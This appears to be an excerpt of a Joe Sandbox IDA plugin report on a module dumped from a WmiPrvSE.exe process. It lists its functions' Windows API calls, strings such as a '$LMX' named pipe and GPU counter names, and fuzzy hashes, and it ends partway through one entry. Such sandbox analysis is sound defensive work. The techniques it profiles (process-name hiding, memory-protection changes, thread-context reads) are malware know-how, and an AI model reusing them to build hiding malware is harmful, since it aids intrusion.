GetProcessHeap.KERNEL32 ref: 000001F5A96831EE
HeapAlloc.KERNEL32 ref: 000001F5A96831FC
PdhGetCounterInfoW.PDH ref: 000001F5A9683212
StrCmpW.SHLWAPI ref: 000001F5A9683227

Part of subcall function 000001F5A968372C: StrCmpNW.SHLWAPI ref: 000001F5A968374E
Part of subcall function 000001F5A968372C: StrStrW.SHLWAPI ref: 000001F5A968376C
Part of subcall function 000001F5A968372C: StrToIntW.SHLWAPI ref: 000001F5A9683793

GetProcessHeap.KERNEL32 ref: 000001F5A9683264
HeapFree.KERNEL32 ref: 000001F5A9683272

Strings

\GPU Engine(*)\Running Time, xrefs: 000001F5A9683220

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: bb0a2a73af2016f53cbc39c7c9dc4f70784d8041b84a51f4256f99a6a5f0cca6
Instruction ID: e313d6b130846d30a5157a0387079feb843a633eb98ca7b28701cf1f12e63677
Opcode Fuzzy Hash: bb0a2a73af2016f53cbc39c7c9dc4f70784d8041b84a51f4256f99a6a5f0cca6
Instruction Fuzzy Hash: 37319F36600F6392EB10DF26E8047E9A7B2BF88BC5F4493359F4A47A24DF38C0668740

Function 000001F5A9683294 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 000001F5A96832F2
GetProcessHeap.KERNEL32 ref: 000001F5A9683303
HeapAlloc.KERNEL32 ref: 000001F5A9683311
PdhGetCounterInfoW.PDH ref: 000001F5A9683327
StrCmpW.SHLWAPI ref: 000001F5A968333C

Part of subcall function 000001F5A968372C: StrCmpNW.SHLWAPI ref: 000001F5A968374E
Part of subcall function 000001F5A968372C: StrStrW.SHLWAPI ref: 000001F5A968376C
Part of subcall function 000001F5A968372C: StrToIntW.SHLWAPI ref: 000001F5A9683793

GetProcessHeap.KERNEL32 ref: 000001F5A9683369
HeapFree.KERNEL32 ref: 000001F5A9683377

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 000001F5A9683335

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: ddaf5f6d871703ba70be204d02f7f79d3460779af134fd451bd3b067dddc4e4b
Instruction ID: 501f8f14ddbf46d3fda791760e549a59aa916d9713dfef1c29b203fa02e6a886
Opcode Fuzzy Hash: ddaf5f6d871703ba70be204d02f7f79d3460779af134fd451bd3b067dddc4e4b
Instruction Fuzzy Hash: EA315039610F6386EB50DB26A844BE967B2BB84F84F04A2359F4B47725DE38C4658700

Function 000001F5A968A12C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001F5A968A189

Part of subcall function 000001F5A968B044: __GetUnwindTryBlock.LIBCMT ref: 000001F5A968B087
Part of subcall function 000001F5A968B044: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001F5A968B0AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001F5A968A261
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001F5A968A4AF
std::bad_alloc::bad_alloc.LIBCMT ref: 000001F5A968A5BC

Strings

csm, xrefs: 000001F5A968A1A3
csm, xrefs: 000001F5A968A20A
csm, xrefs: 000001F5A968A284

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: fa73655f7b7bd44e3e4d6446ad22319a2763a7ac19eba2559d2b609f8e2af79f
Instruction ID: 8cf5bd1060aecb248f18b15918fddee17702db1596663ea5d0b3082e2d5d76ad
Opcode Fuzzy Hash: fa73655f7b7bd44e3e4d6446ad22319a2763a7ac19eba2559d2b609f8e2af79f
Instruction Fuzzy Hash: 4ED1AF76610B628AEB20DF65D4403ED7BB2FB45788F10A325EF8A57B96CB34C5A1C701

Function 000001F5A968EF34 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 000001F5A968F0B0
GetProcAddress.KERNEL32 ref: 000001F5A968F0BC

Strings

api-ms-, xrefs: 000001F5A968EFFA
ext-ms-, xrefs: 000001F5A968F00D

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: dbadeb88dc87e3b828c2078f2cbd2f6a3078456db927c7acdc20e85c0feead20
Instruction ID: bd87ae7fd6780d90ee3a6f4b4dfde8cf355deb03746049640dde659a5939dc23
Opcode Fuzzy Hash: dbadeb88dc87e3b828c2078f2cbd2f6a3078456db927c7acdc20e85c0feead20
Instruction Fuzzy Hash: C941D33A321E3245EB16CB26A8547F526B2BF48BE0F15A7359F1F5B784EE38C4658340

Function 000001F5A968104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001F5A96810B1
RegEnumValueW.ADVAPI32 ref: 000001F5A9681117
GetProcessHeap.KERNEL32 ref: 000001F5A968115A
HeapAlloc.KERNEL32 ref: 000001F5A9681168
GetProcessHeap.KERNEL32 ref: 000001F5A9681185
HeapFree.KERNEL32 ref: 000001F5A9681193

Strings

d, xrefs: 000001F5A96810D6

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 5a58378ec682f77b284a5a83fb5b6f102801a0cd5293b6f0a8f96f7b28fbadf9
Instruction ID: fbf3de63645309af1ccd4d04a2506a212f7b20fe7b776645e42e9b47978efc3b
Opcode Fuzzy Hash: 5a58378ec682f77b284a5a83fb5b6f102801a0cd5293b6f0a8f96f7b28fbadf9
Instruction Fuzzy Hash: 71414D76214B91C6E760CF61E4443AE77B2F788B98F449225DB8A4B758DF38C459CB40

Function 000001F5A968CC08 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsGetValue.KERNEL32(?,?,?,000001F5A968C37E,?,?,?,?,?,?,?,?,000001F5A968CB3D,?,?,00000001), ref: 000001F5A968CC27
FlsSetValue.KERNEL32(?,?,?,000001F5A968C37E,?,?,?,?,?,?,?,?,000001F5A968CB3D,?,?,00000001), ref: 000001F5A968CC46
FlsSetValue.KERNEL32(?,?,?,000001F5A968C37E,?,?,?,?,?,?,?,?,000001F5A968CB3D,?,?,00000001), ref: 000001F5A968CC6E
FlsSetValue.KERNEL32(?,?,?,000001F5A968C37E,?,?,?,?,?,?,?,?,000001F5A968CB3D,?,?,00000001), ref: 000001F5A968CC7F
FlsSetValue.KERNEL32(?,?,?,000001F5A968C37E,?,?,?,?,?,?,?,?,000001F5A968CB3D,?,?,00000001), ref: 000001F5A968CC90

Strings

1%, xrefs: 000001F5A968CC6E
Y%, xrefs: 000001F5A968CC46

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: 73f99dd158d02f66700fb77c4ca87c0b903f96ca38ef138df72cf0141c470259
Instruction ID: 70642205af09bb767061929add3d51bc13c819841e5d26c10d5d4f12907b7e30
Opcode Fuzzy Hash: 73f99dd158d02f66700fb77c4ca87c0b903f96ca38ef138df72cf0141c470259
Instruction Fuzzy Hash: FD117F39704E6241FB585B36AA953F93AB35F847E0F18E335677B076D6DE28C4214200

Function 000001F5A9682438 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001F5A968244D
GetCurrentProcessId.KERNEL32 ref: 000001F5A9682457
CreateFileW.KERNEL32 ref: 000001F5A9682488
WriteFile.KERNEL32 ref: 000001F5A96824B0
ReadFile.KERNEL32 ref: 000001F5A96824CF
CloseHandle.KERNEL32 ref: 000001F5A96824D8

Strings

\\.\pipe\$LMXchildproc, xrefs: 000001F5A9682469

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\$LMXchildproc
API String ID: 166002920-4086216030
Opcode ID: b4f5737ec96b0c9e0b320a30835d4fc4977b95f942ea24fc39ad3b6124d69255
Instruction ID: 93f2766c167c9d500ba7f0908a4681cc9f9d984afc01ba65b53184cd3dce1a79
Opcode Fuzzy Hash: b4f5737ec96b0c9e0b320a30835d4fc4977b95f942ea24fc39ad3b6124d69255
Instruction Fuzzy Hash: 64115135614F5282EB108B21F5447A97771FB89BE5F505325EB6A07BA8CF7CC168CB00

Function 000001F5A9687A20 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001F5A9687A48
__scrt_acquire_startup_lock.LIBCMT ref: 000001F5A9687A9A
_RTC_Initialize.LIBCMT ref: 000001F5A9687AC8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001F5A9687AEE
__scrt_release_startup_lock.LIBCMT ref: 000001F5A9687B19

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 5499d5914bbaf338e8fd8988aa8eae15f33c4a432fdc488b3fc9270e868cdd22
Instruction ID: cbd04626af794b0ee347da996cb5fec45c294747d84217c8e451300385ccd701
Opcode Fuzzy Hash: 5499d5914bbaf338e8fd8988aa8eae15f33c4a432fdc488b3fc9270e868cdd22
Instruction Fuzzy Hash: 4B81B338600F3786FB50AB65A4913F96AB3AF85780F18F3359B1B47796DB38C9658700

Function 000001F5A96899AC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,000001F5A9689B6B,?,?,?,000001F5A968935C,?,?,?,?,000001F5A9688E65), ref: 000001F5A9689A31
GetLastError.KERNEL32(?,?,?,000001F5A9689B6B,?,?,?,000001F5A968935C,?,?,?,?,000001F5A9688E65), ref: 000001F5A9689A3F
LoadLibraryExW.KERNEL32(?,?,?,000001F5A9689B6B,?,?,?,000001F5A968935C,?,?,?,?,000001F5A9688E65), ref: 000001F5A9689A69
FreeLibrary.KERNEL32(?,?,?,000001F5A9689B6B,?,?,?,000001F5A968935C,?,?,?,?,000001F5A9688E65), ref: 000001F5A9689AD7
GetProcAddress.KERNEL32(?,?,?,000001F5A9689B6B,?,?,?,000001F5A968935C,?,?,?,?,000001F5A9688E65), ref: 000001F5A9689AE3

Strings

api-ms-, xrefs: 000001F5A9689A51

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 4b8a36a4a4a2b0dd80eede7cdc1baa3105cb8079cac949a61d2893f2abe26ef9
Instruction ID: 6a3ee1aa0d60bfc83de5c4d68f92eea4043ec95a64bcd603de47a9d844f5d45e
Opcode Fuzzy Hash: 4b8a36a4a4a2b0dd80eede7cdc1baa3105cb8079cac949a61d2893f2abe26ef9
Instruction Fuzzy Hash: 8B31C239212F62A1EF519B4298007F527B6BF44BA4F59A736DE2F0B794EF38C4648300

Function 000001F5A9693954 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001F5A9693985
GetLastError.KERNEL32 ref: 000001F5A9693991
CloseHandle.KERNEL32 ref: 000001F5A96939A9
CreateFileW.KERNEL32 ref: 000001F5A96939D4
WriteConsoleW.KERNEL32 ref: 000001F5A96939F3

Strings

CONOUT$, xrefs: 000001F5A96939B5

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 12c2d174039e60869952cb61123dfc76bc67eb013c11dd170298cf19353e4692
Instruction ID: 38f35608f515abd90daae69449c3644edb120b4412131012800fddb7f14dcb8e
Opcode Fuzzy Hash: 12c2d174039e60869952cb61123dfc76bc67eb013c11dd170298cf19353e4692
Instruction Fuzzy Hash: 42118135310F5282E7508B56F8847A976B1FB88BE8F101325EB6F8BB94DF38C8648740

Function 000001F5A9683CA4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000001F5A9683837), ref: 000001F5A9683CB2
GetCurrentProcess.KERNEL32(?,?,?,?,?,000001F5A9683837), ref: 000001F5A9683CE0
VirtualProtectEx.KERNEL32(?,?,?,?,?,000001F5A9683837), ref: 000001F5A9683D02
GetCurrentProcess.KERNEL32(?,?,?,?,?,000001F5A9683837), ref: 000001F5A9683D1D
VirtualProtectEx.KERNEL32(?,?,?,?,?,000001F5A9683837), ref: 000001F5A9683D3E

Strings

wr, xrefs: 000001F5A9683D13

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: 5b1397cb5b50c8101928f34d71be35eaa6444752faf99293e0902f100c4b543c
Instruction ID: 7f018a560ba6905d482e40d185af31710443b8c7db82e2c8200b51b337a43592
Opcode Fuzzy Hash: 5b1397cb5b50c8101928f34d71be35eaa6444752faf99293e0902f100c4b543c
Instruction Fuzzy Hash: E7117C3A300B5282EF249B22E4496A96672FB88B94F044635DF9E0B758EF3DC5548700

Function 000001F5A9686040 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F5A968607B
GetThreadContext.KERNEL32 ref: 000001F5A96861E5

Part of subcall function 000001F5A9685E70: GetCurrentThreadId.KERNEL32 ref: 000001F5A9685E74

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 19d745c72799060c9935a4a8aa146f0e2f5e42f3a6b8fedce84a208a8406b2a8
Instruction ID: 87d3b39804df34a6b113a2c3955ae02a96b04620b3cdcff1882cf058066b23c2
Opcode Fuzzy Hash: 19d745c72799060c9935a4a8aa146f0e2f5e42f3a6b8fedce84a208a8406b2a8
Instruction Fuzzy Hash: 35D1AC3A204F5986DB709B06E4943AA7BB1F7C8B84F115626EBCE47BA5DF38C551CB00

Function 000001F5A96833A4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F5A96833C7
HeapAlloc.KERNEL32 ref: 000001F5A96833DA
StrCmpNIW.SHLWAPI ref: 000001F5A968344F
GetProcessHeap.KERNEL32 ref: 000001F5A96834B5
HeapFree.KERNEL32 ref: 000001F5A96834C3

Strings

$LMX, xrefs: 000001F5A9683448

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: $LMX
API String ID: 756756679-1475574623
Opcode ID: 9c8b55f238741d735e4a54714f017bc321d4de259bfeef26000a0906f35dcd8a
Instruction ID: 5ad9aeee4e79bc299f7b1e7b377757f53caf3ee4a7ebe6b77ec56aa3c4f17795
Opcode Fuzzy Hash: 9c8b55f238741d735e4a54714f017bc321d4de259bfeef26000a0906f35dcd8a
Instruction Fuzzy Hash: B9315B3A701F6282EB52DF56A544BF96BB2BF44B84F08A2309F4A47B55EF38C4758340

Function 000001F5A968CB40 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,000001F5A968D255,?,?,?,?,000001F5A968D318), ref: 000001F5A968CB4F
FlsSetValue.KERNEL32(?,?,?,000001F5A968D255,?,?,?,?,000001F5A968D318), ref: 000001F5A968CB85
FlsSetValue.KERNEL32(?,?,?,000001F5A968D255,?,?,?,?,000001F5A968D318), ref: 000001F5A968CBB2
FlsSetValue.KERNEL32(?,?,?,000001F5A968D255,?,?,?,?,000001F5A968D318), ref: 000001F5A968CBC3
FlsSetValue.KERNEL32(?,?,?,000001F5A968D255,?,?,?,?,000001F5A968D318), ref: 000001F5A968CBD4
SetLastError.KERNEL32(?,?,?,000001F5A968D255,?,?,?,?,000001F5A968D318), ref: 000001F5A968CBEF

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: b08d9a4c7f7b46a4b2fd56df4838c4c74be0a96ae1611579e3cdb80d27ea737b
Instruction ID: 921fdb247d33ca173ef3189cc757ad435c72e69e86d4f873f1da16f7060f765f
Opcode Fuzzy Hash: b08d9a4c7f7b46a4b2fd56df4838c4c74be0a96ae1611579e3cdb80d27ea737b
Instruction Fuzzy Hash: 49114D3D205EA241FB546B31A5913F93AB79F487F0F14E7359B77476DADE28C4218240

Function 000001F5A9681A30 Relevance: 9.0, APIs: 6, Instructions: 41stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001F5A9681A56
K32GetProcessImageFileNameW.KERNEL32 ref: 000001F5A9681A72
PathFindFileNameW.SHLWAPI ref: 000001F5A9681A81
lstrlenW.KERNEL32 ref: 000001F5A9681A8D
StrCpyW.SHLWAPI ref: 000001F5A9681AA0
CloseHandle.KERNEL32 ref: 000001F5A9681AAE

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: FileNameProcess$CloseFindHandleImageOpenPathlstrlen
String ID:
API String ID: 4193868204-0
Opcode ID: ce08c4955bc3595479c1ff8ad2ed921ed68cc80d96d97178f87881ade0f5eed0
Instruction ID: e5e4e9e196b3f127d0e0900f12e973f87dc0ff51f9edced1c3cd9a0e60c062fe
Opcode Fuzzy Hash: ce08c4955bc3595479c1ff8ad2ed921ed68cc80d96d97178f87881ade0f5eed0
